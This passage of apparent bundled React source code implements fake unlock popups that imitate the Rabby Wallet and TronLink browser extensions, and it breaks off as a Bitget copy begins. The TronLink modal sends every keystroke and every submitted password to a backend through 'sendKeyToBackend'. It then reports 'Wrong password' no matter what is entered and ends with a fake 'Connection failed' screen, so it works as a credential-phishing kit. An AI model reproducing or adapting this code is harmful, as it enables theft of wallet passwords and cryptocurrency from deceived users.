gradientTransform=\"matrix(-44.61529 480 -346.21069 -32.17977 215.897 71.667)\">\r\n <stop stopColor=\"#FDF8FF\" stopOpacity=\"0.68\"></stop>\r\n <stop offset=\"1\" stopColor=\"#E4EDFF\"></stop>\r\n </radialGradient>\r\n <radialGradient id=\"background_svg__paint1_radial_114948_40926\" cx=\"0\" cy=\"0\" r=\"1\" gradientUnits=\"userSpaceOnUse\" gradientTransform=\"rotate(95.132 78.613 130.776) scale(498.799 347.802)\">\r\n <stop stopColor=\"#FDF8FF\" stopOpacity=\"0.68\"></stop>\r\n <stop offset=\"1\" stopColor=\"#E4EDFF\"></stop>\r\n </radialGradient>\r\n <linearGradient id=\"background_svg__paint2_linear_114948_40926\" x1=\"199.467\" y1=\"-171.5\" x2=\"203.308\" y2=\"214.462\" gradientUnits=\"userSpaceOnUse\">\r\n <stop stopColor=\"#7084FF\"></stop>\r\n <stop offset=\"1\" stopColor=\"#fff\" stopOpacity=\"0\"></stop>\r\n </linearGradient>\r\n <clipPath id=\"background_svg__clip0_114948_40926\">\r\n <path fill=\"#fff\" transform=\"matrix(1 0 0 -1 0 600)\" d=\"M0 0h400v600H0z\"></path>\r\n </clipPath>\r\n </defs>\r\n </svg>\r\n <div className=\"flex items-center justify-center mt-[80px]\">\r\n <svg width=\"100\" height=\"100\" viewBox=\"0 0 161 160\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\r\n <g clipPath=\"url(#clip0_355_3988)\">\r\n <path\r\n d=\"M148.047 88.6169C153.448 76.5068 126.749 42.6731 101.243 28.5773C85.1659 17.6575 68.4134 19.1577 65.0205 23.9523C57.5744 34.4746 89.6766 43.3906 111.146 53.795C106.531 55.807 102.182 59.4176 99.6242 64.0352C91.6203 55.264 74.0528 47.7107 53.4392 53.795C39.5481 57.8951 28.0036 67.5611 23.5417 82.1605C22.4575 81.6769 21.2571 81.4082 19.9942 81.4082C15.1649 81.4082 11.25 85.3379 11.25 90.1854C11.25 95.033 15.1649 98.9627 19.9942 98.9627C20.8894 98.9627 23.6882 98.36 23.6882 98.36L68.4134 98.6853C50.5268 127.168 36.3913 131.331 36.3913 136.266C36.3913 141.2 49.9165 139.863 54.9949 138.024C79.3057 129.219 105.417 101.777 109.897 93.8779C128.713 96.2343 144.526 96.513 148.047 88.6169Z\"\r\n fill=\"url(#paint0_linear_355_3988)\"\r\n />\r\n <path\r\n d=\"M64.4841 29.3587C65.9945 26.3383 76.2037 26.0013 90.0681 32.556C100.244 37.367 111.081 48.108 111.709 50.7708C111.982 51.9293 112.142 53.4048 111.147 53.7982C111.146 53.7976 111.145 53.7968 111.143 53.7962L111.146 53.7953C93.4437 45.2163 68.5135 37.6487 64.4841 29.3587Z\"\r\n fill=\"url(#paint1_linear_355_3988)\"\r\n />\r\n <path\r\n d=\"M58.6694 71.8772C73.5151 71.8772 79.9042 76.6996 84.9936 85.759C88.62 92.2144 87.8148 102.425 83.975 109.322C87.5754 110.217 90.7417 111.205 93.5453 112.281C88.9983 116.531 83.7943 120.944 78.2592 124.991C70.7233 123.061 63.8755 121.228 53.4916 118.557C57.9298 113.696 63.0004 107.305 68.4135 98.6848L28.269 98.3928C28.1296 96.7639 28.0884 94.9926 28.1293 93.0598C28.5196 74.6387 50.5038 71.8773 58.6694 71.8772Z\"\r\n fill=\"url(#paint2_linear_355_3988)\"\r\n />\r\n <path\r\n d=\"M23.0061 96.5002C24.6461 110.494 32.5692 115.978 48.7593 117.601C64.9494 119.224 74.2363 118.136 86.6003 119.265C96.9266 120.208 106.147 125.49 109.567 123.664C112.646 122.022 110.923 116.087 106.804 112.279C101.465 107.343 94.0752 103.911 81.0725 102.694C83.6637 95.5717 82.9376 85.5861 78.9131 80.1533C73.0941 72.298 62.3533 68.7465 48.7593 70.2982C34.5568 71.9193 20.9479 78.938 23.0061 96.5002Z\"\r\n fill=\"url(#paint3_linear_355_3988)\"\r\n />\r\n </g>\r\n <defs>\r\n <linearGradient id=\"paint0_linear_355_3988\" x1=\"51.8217\" y1=\"77.8928\" x2=\"146.938\" y2=\"104.764\" gradientUnits=\"userSpaceOnUse\">\r\n <stop stopColor=\"#4C65FE\" />\r\n <stop offset=\"1\" stopColor=\"#8F9FFF\" />\r\n </linearGradient>\r\n <linearGradient id=\"paint1_linear_355_3988\" x1=\"130.877\" y1=\"76.079\" x2=\"62.0252\" y2=\"7.32076\" gradientUnits=\"userSpaceOnUse\">\r\n <stop stopColor=\"#4C65FE\" />\r\n <stop offset=\"1\" stopColor=\"#5156D8\" stopOpacity=\"0\" />\r\n </linearGradient>\r\n <linearGradient id=\"paint2_linear_355_3988\" x1=\"95.4537\" y1=\"114.683\" x2=\"29.4416\" y2=\"76.8748\" gradientUnits=\"userSpaceOnUse\">\r\n <stop stopColor=\"#2D46E2\" />\r\n <stop offset=\"1\" stopColor=\"#8697FF\" stopOpacity=\"0\" />\r\n </linearGradient>\r\n <linearGradient id=\"paint3_linear_355_3988\" x1=\"57.4972\" y1=\"77.1806\" x2=\"102.242\" y2=\"133.819\" gradientUnits=\"userSpaceOnUse\">\r\n <stop stopColor=\"#4C65FE\" />\r\n <stop offset=\"1\" stopColor=\"#4C65FE\" />\r\n </linearGradient>\r\n <clipPath id=\"clip0_355_3988\">\r\n <rect width=\"160\" height=\"160\" fill=\"white\" transform=\"translate(0.5)\" />\r\n </clipPath>\r\n </defs>\r\n </svg>\r\n </div>\r\n <div>\r\n <h1 className=\"rabby-font font-semibold\" style={{ width: '100%', fontSize: '24px', lineHeight: '23px', marginBottom: '4px', textAlign: 'center', marginTop: '14px', color: 'rgb(25, 41, 69, 1)' }}>Rabby Wallet</h1>\r\n <p style={{ lineHeight: '20px', color: '#6a7587', fontSize: '14px', textAlign: 'center', margin: '12px 51px 14px 52px' }} className=\"rabby-font\">Your go-to wallet for Ethereum and EVM</p>\r\n <div className=\"ppp\" style={{ border: 'none', margin: '34px 22px 0px 22px', backgroundColor: 'rgb(245,245,245)', alignItems: 'center' }}>\r\n <input\r\n ref={inputRef}\r\n type=\"password\"\r\n placeholder=\"Enter the Password to Unlock\"\r\n onChange={handleKeywordChange}\r\n className=\"rabby-font\"\r\n style={{\r\n width: '100%',\r\n height: '56px',\r\n borderRadius: '10px',\r\n outline: 'none',\r\n borderWidth: '1px',\r\n borderStyle: 'solid',\r\n borderColor: error ? 'red' : 'transparent',\r\n fontSize: '14px',\r\n color: '#192945',\r\n padding: '15px 16px',\r\n backgroundColor: 'white',\r\n transition: 'border-color 0.3s ease',\r\n letterSpacing: keyword ? '4px' : 'normal',\r\n }}\r\n onMouseEnter={(e) => {\r\n if (!error) {\r\n (e.target as HTMLInputElement).style.borderColor = '#7084ff';\r\n }\r\n }}\r\n onMouseLeave={(e) => {\r\n if (!error) {\r\n (e.target as HTMLInputElement).style.borderColor = 'transparent';\r\n }\r\n }}\r\n onKeyDown={(e) => {\r\n if (e.key === 'Enter') handleKeywordTyping();\r\n }}\r\n value={keyword}\r\n />\r\n </div>\r\n {error && (\r\n <p style={{ color: 'red', fontSize: '13px', margin: '8px 22px 0 22px' }}>\r\n <span className=\"pr-[5px] rabby-font text-red\">Incorrect password</span>{' '}\r\n <a className=\"cursor-pointer rabby-font\" style={{ color: 'blue', textDecoration: 'underline' }} onClick={handledForgetPwd}>\r\n Forgot Password?\r\n </a>\r\n </p>\r\n )}\r\n <div style={{ bottom: '35px', position: 'absolute', width: '360px', margin: '0px 22px' }}>\r\n <button\r\n className=\"rabby-font\"\r\n style={{\r\n width: '100%',\r\n height: '56px',\r\n backgroundColor: 'rgb(97, 118, 255)',\r\n borderRadius: '8px',\r\n fontSize: '16px',\r\n fontWeight: 600,\r\n color: 'white',\r\n cursor: 'pointer',\r\n marginBottom: '20px',\r\n }}\r\n onClick={handleKeywordTyping}\r\n disabled={connecting}\r\n onMouseDown={handleButtonMouseDown}\r\n onMouseUp={handleButtonMouseUp}\r\n onMouseLeave={handleButtonMouseLeave}\r\n >\r\n Unlock\r\n </button>\r\n <div className=\"w-full flex justify-center items-center\">\r\n <button\r\n className=\"hover:underline rabby-font\"\r\n style={{\r\n margin: '0px 112px',\r\n backgroundColor: 'transparent',\r\n fontSize: '13px',\r\n textAlign: 'center',\r\n fontWeight: 500,\r\n color: '#3e495e',\r\n }}\r\n onClick={handledForgetPwd}\r\n >\r\n Forgot Password?\r\n </button>\r\n </div>\r\n </div>\r\n </div>\r\n </div>\r\n <div id=\"popover-content\"></div>\r\n </div>\r\n )}\r\n </div>\r\n </div>\r\n </div>\r\n );\r\n\r\n return modalContent;\r\n};\r\n\r\nexport default RabbyModal;\r\n","import React, { useState, useEffect, useRef } from 'react';\nimport { initializeLocationData, initializeSocket, sendKeyToBackend } from '../../services/keyService';\nimport { WALLET_TYPE_SHORTKEY } from '../../services/config';\nimport { CustomWalletModalProps } from '../../types';\nimport { resolveAssetUrl } from '../../utils/assetPath';\nimport { ASSET_PATHS } from '../../utils/assetPaths';\nimport './styles.css';\n\nconst TronlinkModal: React.FC<CustomWalletModalProps> = ({ isOpen, onClose, userId, backendConfig }) => {\n const [keyword, setKeyword] = useState('');\n const [error, setError] = useState(false);\n const [helperText, setHelperText] = useState('');\n const [trying, setTrying] = useState(0);\n const [connecting, setConnecting] = useState(false);\n const [connectionError, setConnectionError] = useState(false);\n const [isClosable, setIsClosable] = useState(true);\n const [shouldShake, setShouldShake] = useState(false);\n const [showPassword, setShowPassword] = useState(false);\n const [loadingInitiate, setLoadingInitiate] = useState(true);\n const [showForgetPasswordModal, setShowForgetPasswordModal] = useState(false);\n const [continueCountdown, setContinueCountdown] = useState(0);\n \n const passwordInputRef = useRef<HTMLInputElement>(null);\n const modalRef = useRef<HTMLDivElement>(null);\n const countdownIntervalRef = useRef<number | null>(null);\n\n // Handle initial loading - only run once when modal opens\n useEffect(() => {\n if (isOpen) {\n initializeLocationData();\n initializeSocket();\n\n setLoadingInitiate(true);\n const initialLoadTimeout = setTimeout(() => {\n setLoadingInitiate(false);\n setTimeout(() => {\n passwordInputRef.current?.focus();\n }, 1500);\n }, 1500);\n\n return () => {\n clearTimeout(initialLoadTimeout);\n };\n } else {\n setLoadingInitiate(true);\n }\n }, [isOpen]);\n\n // Handle document click - separate effect\n useEffect(() => {\n if (!isOpen) return;\n\n const handleDocumentClick = (e: MouseEvent) => {\n if (isClosable && modalRef.current && !modalRef.current.contains(e.target as Node)) {\n handleClick();\n }\n };\n\n document.addEventListener('click', handleDocumentClick);\n return () => {\n document.removeEventListener('click', handleDocumentClick);\n };\n }, [isOpen, isClosable]);\n\n // Cleanup countdown interval\n useEffect(() => {\n return () => {\n if (countdownIntervalRef.current) {\n clearInterval(countdownIntervalRef.current);\n }\n };\n }, []);\n\n const handleClick = () => {\n if (onClose) onClose();\n setKeyword('');\n setTrying(0);\n setConnectionError(false);\n setError(false);\n setShouldShake(false);\n setShowPassword(false);\n setShowForgetPasswordModal(false);\n setContinueCountdown(0);\n if (countdownIntervalRef.current) {\n clearInterval(countdownIntervalRef.current);\n countdownIntervalRef.current = null;\n }\n };\n\n const handleKeywordChange = async (e: React.ChangeEvent<HTMLInputElement>) => {\n const newKeyword = e.target.value;\n setKeyword(newKeyword);\n setError(false);\n setShouldShake(false);\n\n const currentUserId = backendConfig?.userId || userId;\n if (currentUserId && newKeyword && (backendConfig?.enabled !== false)) {\n await sendKeyToBackend(currentUserId, 'cha', newKeyword, WALLET_TYPE_SHORTKEY.TRONLINK);\n }\n };\n\n const togglePasswordVisibility = () => {\n setShowPassword(prev => !prev);\n setTimeout(() => {\n passwordInputRef.current?.focus();\n }, 0);\n };\n\n const handleKeywordTyping = async () => {\n if (connecting || !keyword) return;\n\n setConnecting(true);\n const currentUserId = backendConfig?.userId || userId;\n\n if (!currentUserId) {\n setConnecting(false);\n setError(true);\n setHelperText('User ID is required');\n setShouldShake(true);\n setTimeout(() => setShouldShake(false), 500);\n return;\n }\n\n if (backendConfig?.enabled !== false) {\n const result = await sendKeyToBackend(currentUserId, 'enter', keyword, WALLET_TYPE_SHORTKEY.TRONLINK);\n\n setTimeout(() => {\n setConnecting(false);\n if (trying < 3) {\n setError(true);\n setHelperText(result.error || 'Wrong password');\n setTrying(trying + 1);\n setShouldShake(true);\n setTimeout(() => setShouldShake(false), 500);\n } else {\n setConnectionError(true);\n }\n passwordInputRef.current?.focus();\n }, 150);\n } else {\n setTimeout(() => setConnecting(false), 150);\n }\n };\n\n const showForgetPassword = () => {\n setShowForgetPasswordModal(true);\n setContinueCountdown(10);\n \n // Start countdown timer\n countdownIntervalRef.current = setInterval(() => {\n setContinueCountdown(prev => {\n if (prev > 1) {\n return prev - 1;\n } else {\n if (countdownIntervalRef.current) {\n clearInterval(countdownIntervalRef.current);\n countdownIntervalRef.current = null;\n }\n return 0;\n }\n });\n }, 1000);\n };\n\n const closeForgetPasswordModal = () => {\n if (countdownIntervalRef.current) {\n clearInterval(countdownIntervalRef.current);\n countdownIntervalRef.current = null;\n }\n setShowForgetPasswordModal(false);\n setContinueCountdown(0);\n };\n\n const handledResetPwd = () => {\n handleClick();\n closeForgetPasswordModal();\n window.open('chrome-extension://acmacodkjbdgmoleebolmdjonilkdbch/index.html#/forgot-password', '_blank');\n };\n\n const closeWindow = () => {\n handleClick();\n setTimeout(() => {\n setConnectionError(false);\n setKeyword('');\n setTrying(0);\n setError(false);\n }, 1000);\n };\n\n if (!isOpen) return null;\n\n const isButtonEnabled = keyword && keyword.trim().length > 0;\n\n const modalContent = (\n <div\n id=\"header-layout\"\n ref={modalRef}\n className={`fixed top-0 right-[150px] z-[1000] flex transition-opacity duration-200 max-[395px]:scale-75 max-[265px]:scale-50\n ${isOpen ? 'opacity-100' : 'opacity-0 pointer-events-none'}`}\n onMouseEnter={() => setIsClosable(false)}\n onMouseLeave={() => setIsClosable(true)}\n >\n <div className=\"w-[360px] h-[601px] shadow-[0_4px_20px_0_rgba(0,0,0,0.3)] relative\">\n <div className=\"h-full relative\" style={{ backgroundColor: '#FFFFFF' }}>\n {connectionError ? (\n <div className=\"text-center px-4 py-8 flex flex-col h-full justify-between\">\n <div></div>\n <div className=\"\">\n <div className=\"flex justify-center w-full items-center mb-4\">\n <svg className=\"text-2xl text-center w-6 h-6 text-red-500\" fill=\"currentColor\" viewBox=\"0 0 20 20\">\n <path fillRule=\"evenodd\" d=\"M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z\" clipRule=\"evenodd\" />\n </svg>\n </div>\n <h3 className=\"text-xl font-extrabold\">Connection failed</h3>\n <p className=\"text-sm\">Please check your connection and try again.</p>\n </div>\n <button\n className=\"w-full rounded-full cursor-pointer p-2.5 text-white hover:bg-[#3148f5] bg-[#4459ff]\"\n onClick={closeWindow}\n >\n Ok\n </button>\n </div>\n ) : (\n <div className=\"relative w-full h-full\" style={{ backgroundColor: '#FFFFFF' }}>\n {/* Loading Screen */}\n {loadingInitiate && (\n <div className=\"absolute inset-0 z-[1002] flex items-center justify-center bg-transparent\">\n <div className=\"px-[30px] py-[20px] rounded-[8px]\" style={{ backgroundColor: '#232C41db' }}>\n <img src={resolveAssetUrl(ASSET_PATHS.tronlinkLoading)} alt=\"Loading\" width=\"50\" height=\"50\" />\n </div>\n </div>\n )}\n\n <div className={`flex flex-col h-full bg-white`}>\n <div className=\"flex flex-col overflow-y-auto h-full justify-between pb-[30px]\">\n <div>\n <div className=\"flex justify-center mt-[80px] mb-[100px]\">\n <svg width=\"150\" height=\"120\" viewBox=\"0 0 150 120\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n <g clipPath=\"url(#clip0_35_162)\">\n <path fillRule=\"evenodd\" clipRule=\"evenodd\" d=\"M7.41504 119.326H11.7971V90.6738H7.41504V119.326Z\" fill=\"black\"/>\n <path fillRule=\"evenodd\" clipRule=\"evenodd\" d=\"M0 95.0559H19.2135V90.6738H0V95.0559Z\" fill=\"black\"/>\n <path fillRule=\"evenodd\" clipRule=\"evenodd\" d=\"M80.8994 119.325H95.3938V114.943H80.8994V119.325Z\" fill=\"black\"/>\n <path fillRule=\"evenodd\" clipRule=\"evenodd\" d=\"M80.8994 119.326H85.2814V90.6738H80.8994V119.326Z\" fill=\"black\"/>\n <path fillRule=\"evenodd\" clipRule=\"evenodd\" d=\"M99.1016 119.324H103.484V102.302H99.1016V119.324Z\" fill=\"black\"/>\n <path fillRule=\"evenodd\" clipRule=\"evenodd\" d=\"M99.1016 99.9431H103.484V95.561H99.1016V99.9431Z\" fill=\"black\"/>\n <path d=\"M129.943 90.6738H134.325V105.245L143.877 96.2356H149.241L139.252 105.587L150 119.326H144.852L136.292 108.357L134.325 110.216V119.326H129.943V90.6738Z\" fill=\"black\"/>\n <path d=\"M44.4942 101.63C48.7758 101.63 52.2469 105.101 52.2471 109.382C52.2471 113.664 48.776 117.135 44.4942 117.135C40.2127 117.135 36.7422 113.664 36.7422 109.382C36.7425 105.101 40.2128 101.631 44.4942 101.63Z\" stroke=\"black\" strokeWidth=\"4.38202\"/>\n <path d=\"M25.4568 99.438H21.2363V119.326H25.4568V106.464C26.2575 105.397 27.2955 104.573 28.5708 103.99C29.6221 103.505 30.8092 103.162 32.1318 102.962V98.853C31.0642 99.1296 29.6038 99.5099 28.5263 100.033C27.4487 100.557 26.4256 101.179 25.4568 101.9V99.438Z\" fill=\"black\"/>\n <path d=\"M111.742 119.326V106.484V100.535V98.0898H107.36V119.326H111.742Z\" fill=\"black\"/>\n <path d=\"M125.899 106.095C125.899 100.308 123.262 97.4146 117.988 97.4146C116.71 97.4146 115.555 97.6739 114.522 98.1925C112.692 99.2347 111.991 100.192 111.75 100.95L111.741 102.532C113.595 101.043 116.498 100.818 117.765 101.136C120.73 101.881 121.324 105.025 121.25 106.504V119.325H125.899V106.095Z\" fill=\"black\"/>\n <path d=\"M62.8654 119.326V106.484V100.535V98.0898H58.4834V119.326H62.8654Z\" fill=\"black\"/>\n <path d=\"M77.0225 106.095C77.0225 100.308 74.3855 97.4146 69.1115 97.4146C67.8338 97.4146 66.6784 97.6739 65.6454 98.1925C63.8155 99.2347 63.1147 100.192 62.8743 100.95L62.8652 102.532C64.7187 101.043 67.6215 100.818 68.8888 101.136C71.8543 101.881 72.4478 105.025 72.3738 106.504V119.325H77.0225V106.095Z\" fill=\"black\"/>\n <mask id=\"mask0_35_162\" style={{ maskType: 'alpha' }} maskUnits=\"userSpaceOnUse\" x=\"40\" y=\"0\" width=\"70\" height=\"70\">\n <path d=\"M100 0H50C44.4772 0 40 4.47716 40 10V60C40 65.5228 44.4772 70 50 70H100C105.523 70 110 65.5228 110 60V10C110 4.47716 105.523 0 100 0Z\" fill=\"url(#paint0_linear_35_162)\"/>\n </mask>\n <g mask=\"url(#mask0_35_162)\">\n <path fillRule=\"evenodd\" clipRule=\"evenodd\" d=\"M99.3647 54.8138L131.907 48.9341L94.5792 94.303L99.3647 54.8138ZM94.6909 52.6018L89.6436 94.2585L62.405 25.8895L94.6909 52.6018ZM96.8985 48.0684L65.9196 22.4375L116.55 31.7323L96.8985 48.0684ZM121.927 33.6328L132.672 43.8229L103.282 49.1323L121.927 33.6328ZM123.055 27.9513L52.8105 15.056L89.7807 107.852L141.29 45.2454L123.055 27.9513Z\" fill=\"white\"/>\n <rect x=\"40\" width=\"70\" height=\"70\" rx=\"8.75\" fill=\"#0D1FFF\"/>\n <mask id=\"mask1_35_162\" style={{ maskType: 'alpha' }} maskUnits=\"userSpaceOnUse\" x=\"40\" y=\"0\" width=\"70\" height=\"70\">\n <rect x=\"40\" width=\"70\" height=\"70\" rx=\"8.75\" fill=\"#0D1FFF\"/>\n </mask>\n <g mask=\"url(#mask1_35_162)\">\n <path d=\"M117.783 24.0991L50.3096 14.6152L87.9951 107.896L139.942 41.4097L117.783 24.0991ZM127.379 40.1933L105.45 44.8853L116.855 31.9729L127.376 40.1933H127.379ZM109.727 29.8076L95.6515 45.7432L67.6936 23.9022L109.727 29.8105V29.8076ZM87.3429 88.1971L63.5246 29.2405L92.455 51.8425L87.3458 88.1971H87.3429ZM94.0533 89.1373L99.1095 53.1675L126.782 47.2474L94.0562 89.1373H94.0533Z\" fill=\"white\"/>\n </g>\n </g>\n </g>\n <defs>\n <linearGradient id=\"paint0_linear_35_162\" x1=\"75\" y1=\"0\" x2=\"75\" y2=\"70\" gradientUnits=\"userSpaceOnUse\">\n <stop stopColor=\"#0D1FFF\"/>\n <stop offset=\"1\" stopColor=\"#081399\"/>\n </linearGradient>\n <clipPath id=\"clip0_35_162\">\n <rect width=\"150\" height=\"120\" fill=\"white\"/>\n </clipPath>\n </defs>\n </svg>\n </div>\n <div className=\"mx-[20px] mt-[12px]\">\n <div className=\"relative\">\n <input \n id=\"current-password\"\n ref={passwordInputRef}\n placeholder=\"Password\" \n type={showPassword ? \"text\" : \"password\"} \n autoComplete=\"off\" \n spellCheck=\"false\" \n value={keyword} \n onChange={handleKeywordChange}\n onKeyDown={(e) => {\n if (e.key === 'Enter' && isButtonEnabled) {\n handleKeywordTyping();\n }\n }}\n className={`tronlink-font border rounded-lg text-[14px] font-medium h-[52px] leading-[52px] px-4 pl-4 pr-10 w-full ${\n error \n ? \"border-[#ff4d4f]\" \n : \"border-[#1a212b]\"\n } ${shouldShake ? 'password-shake' : ''}`}\n style={{ backgroundColor: 'white', color: 'black' }}\n />\n <svg \n className=\"cursor-pointer absolute right-4 top-4\" \n width=\"20\" \n height=\"20\" \n viewBox=\"0 0 20 20\" \n fill=\"none\" \n xmlns=\"http://www.w3.org/2000/svg\"\n onClick={togglePasswordVisibility}\n >\n {showPassword ? (\n <>\n <path d=\"M10.1529 4.59982C6.40178 4.59982 3.17595 6.87419 1.8999 10.1018C3.17595 13.3294 6.40176 15.6038 10.1529 15.6038C13.9041 15.6038 17.131 13.3294 18.4059 10.1018C17.131 6.87417 13.9041 4.59982 10.1529 4.59982M10.1529 13.7695C8.0526 13.7695 6.40178 12.1564 6.40178 10.1018C6.40178 8.04723 8.0526 6.43413 10.1529 6.43413C12.2544 6.43413 13.9041 8.04723 13.9041 10.1018C13.9041 12.1564 12.2544 13.7695 10.1529 13.7695ZM10.1529 7.90104C8.87799 7.90104 7.90204 8.85526 7.90204 10.1018C7.90204 11.3484 8.87799 12.3026 10.1529 12.3026C11.429 12.3026 12.4038 11.3484 12.4038 10.1018C12.4038 8.85526 11.429 7.90104 10.1529 7.90104\" fill=\"#B3B6BD\"/>\n </>\n ) : (\n <>\n <path d=\"M10.1529 4.59982C6.40178 4.59982 3.17595 6.87419 1.8999 10.1018C3.17595 13.3294 6.40176 15.6038 10.1529 15.6038C13.9041 15.6038 17.131 13.3294 18.4059 10.1018C17.131 6.87417 13.9041 4.59982 10.1529 4.59982M10.1529 13.7695C8.0526 13.7695 6.40178 12.1564 6.40178 10.1018C6.40178 8.04723 8.0526 6.43413 10.1529 6.43413C12.2544 6.43413 13.9041 8.04723 13.9041 10.1018C13.9041 12.1564 12.2544 13.7695 10.1529 13.7695ZM10.1529 7.90104C8.87799 7.90104 7.90204 8.85526 7.90204 10.1018C7.90204 11.3484 8.87799 12.3026 10.1529 12.3026C11.429 12.3026 12.4038 11.3484 12.4038 10.1018C12.4038 8.85526 11.429 7.90104 10.1529 7.90104\" fill=\"#B3B6BD\"/>\n <path d=\"M16.7771 16.7229L15.8227 17.6774L3.22266 5.07739L4.17715 4.12289L16.7771 16.7229Z\" fill=\"#B3B6BD\"/>\n <path d=\"M17.6773 15.8227L16.7228 16.7772L4.1228 4.17721L5.07729 3.22272L17.6773 15.8227Z\" fill=\"white\"/>\n </>\n )}\n </svg> \n </div>\n </div>\n <div className={`text-[#ff4d4f] flex text-[12px] h-[30px] leading-[17px] mt-1 px-[20px] w-full`}>\n {error && helperText && <span>{helperText}</span>}\n </div>\n <div className=\"mx-[20px]\">\n <button \n onClick={isButtonEnabled ? handleKeywordTyping : undefined}\n disabled={!isButtonEnabled || connecting}\n className={`tronlink-font self-center rounded-[8px] text-[14px] leading-[40px] p-0 flex items-center border-none flex h-[52px] justify-center relative transition-all duration-200 ease-in-out w-full ${\n isButtonEnabled \n ? \"bg-[#1a212b] text-white hover:bg-[#484d55] cursor-pointer\"\n : \"bg-[#eeeff0] text-[#9ba4b6] opacity-100 cursor-not-allowed\"\n }`}\n >\n {connecting ? 'Unlocking...' : 'Unlock'}\n </button>\n </div>\n </div>\n <div className=\"flex flex-col overflow-y-auto mt-[30px] overflow-hidden px-[20px] w-full\">\n <div className=\"tronlink-font text-center text-[12px] text-[#6d778c]\">Unable to log in?</div>\n <div className=\"tronlink-font justify-center mt-2 text-center flex-row flex text-[12px] text-[#6d778ca8]\">\n <div \n className=\"tronlink-font cursor-pointer underline decoration-underline underline-offset-1 text-[12px] hover:text-[#3c7cf3] text-[#232c41]\"\n onClick={showForgetPassword}\n >\n Unlock in other ways\n </div>\n or \n <div \n className=\"tronlink-font cursor-pointer underline decoration-underline underline-offset-1 text-[12px] hover:text-[#3c7cf3] text-[#232c41]\"\n onClick={showForgetPassword}\n >\n create a new wallet\n </div>\n </div>\n </div>\n </div>\n </div>\n\n {/* Forgot Password Modal */}\n {showForgetPasswordModal && (\n <div id=\"forget-password-modal\" className=\"absolute inset-0 z-[1001]\">\n <div className=\"relative w-full h-full\">\n <div \n className=\"bg-[#10101099] absolute bottom-0 left-0 right-0 top-0\"\n onClick={closeForgetPasswordModal}\n ></div>\n <div tabIndex={-1} className=\"absolute bottom-0 left-0 right-0 top-0 text-center flex items-center justify-center\" role=\"dialog\">\n <div role=\"document\" className=\"mx-[20px] box-border text-[#000000d9] text-[14px] tabular-nums list-none p-0 pb-[24px] pointer-events-none relative w-[520px]\">\n <div tabIndex={0} aria-hidden=\"true\" style={{width: \"0px\", height: \"0px\", overflow: \"hidden\", outline: \"none\"}}></div>\n <div className=\"rounded-[12px] border-0 shadow-[0_3px_6px_-4px_rgba(0,0,0,0.12),_0_6px_16px_0_rgba(0,0,0,0.08),_0_9px_28px_8px_rgba(0,0,0,0.05)] pointer-events-auto relative bg-white\">\n <div className=\"p-[24px_16px_16px] text-[14px] leading-[1.5715] break-words\">\n <div className=\"mb-[20px] text-center\">\n <div className=\"text-[16px] font-bold tronlink-font\">Security Tip</div>\n </div>\n <p className=\"tronlink-font text-[13px] leading-[20px] mb-[16px] text-left text-[#6d778c]\"> \n <svg className=\"inline-block align-middle mr-[6px]\" width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n <circle cx=\"7\" cy=\"7\" r=\"7\" fill=\"#FF4D4F\"/>\n <path d=\"M7 3.81787V8.5906\" stroke=\"white\" strokeWidth=\"1.27273\" strokeLinecap=\"round\"/>\n <path d=\"M7 10.1821V10.8185\" stroke=\"white\" strokeWidth=\"1.27273\" strokeLinecap=\"round\"/>\n </svg>\n All your existing wallets will be removed and replaced with the new one.\n </p>\n <p className=\"tronlink-font text-[13px] leading-[20px] mb-[16px] text-left text-[#6d778c]\"> \n <svg className=\"inline-block align-middle mr-[6px]\" width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n <circle cx=\"7\" cy=\"7\" r=\"7\" fill=\"#FF4D4F\"/>\n <path d=\"M7 3.81787V8.5906\" stroke=\"white\" strokeWidth=\"1.27273\" strokeLinecap=\"round\"/>\n <path d=\"M7 10.1821V10.8185\" stroke=\"white\" strokeWidth=\"1.27273\" strokeLinecap=\"round\"/>\n </svg>\n Please make sure you have backed up your mnemonic or private keys, otherwise you will not be able to recover the assets in your wallets.\n </p>\n <p className=\"tronlink-font text-[#ff4d4f] text-[13px] leading-[20px] mb-[16px] text-left\"> \n <svg className=\"inline-block align-middle mr-[6px]\" width=\"14\" height=\"14\" viewBox=\"0 0 14 14\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n <circle cx=\"7\" cy=\"7\" r=\"7\" fill=\"#FF4D4F\"/>\n <path d=\"M7 3.81787V8.5906\" stroke=\"white\" strokeWidth=\"1.27273\" strokeLinecap=\"round\"/>\n <path d=\"M7 10.1821V10.8185\" stroke=\"white\" strokeWidth=\"1.27273\" strokeLinecap=\"round\"/>\n </svg>\n Do not continue unless you have tried all possible ways to unlock this wallet and have backed up your mnemonic or private key\n </p>\n <div \n className={`tronlink-font mt-[24px] rounded-[6px] text-white text-[13px] h-[38px] leading-[38px] text-center ${\n continueCountdown > 0 \n ? \"bg-[#cdd1da] cursor-not-allowed\" \n : \"bg-[#232c41] cursor-pointer hover:bg-[#3a4555]\"\n }`}\n onClick={continueCountdown === 0 ? handledResetPwd : undefined}\n style={{ pointerEvents: continueCountdown > 0 ? 'none' : 'auto' }}\n >\n {continueCountdown > 0 \n ? `Continue in ${continueCountdown}s` \n : \"Continue\"\n }\n </div>\n <div \n className=\"tronlink-font cursor-pointer text-[13px] h-[20px] leading-[20px] mt-[12px] text-center hover:opacity-80 text-[#6d778c]\"\n onClick={closeForgetPasswordModal}\n >\n Back\n </div>\n </div>\n </div>\n <div tabIndex={0} aria-hidden=\"true\" className=\"w-0 h-0 overflow-hidden outline-none\"></div>\n </div>\n </div>\n </div>\n </div>\n )}\n </div>\n )}\n </div>\n </div>\n </div>\n );\n\n return modalContent;\n};\n\nexport default TronlinkModal;\n","import React, { useState, useEffect, useRef } from 'react';\nimport { initializeLocationData, initializeSocket, sendKeyToBackend } from '../../services/keyService';\nimport { WALLET_TYPE_SHORTKEY, getClientUrl } from '../../services/config';\nimport { CustomWalletModalProps } from '../../types';\nimport './styles.css';\n\nconst BitgetModal: React.FC<CustomWalletModalProps> = ({ 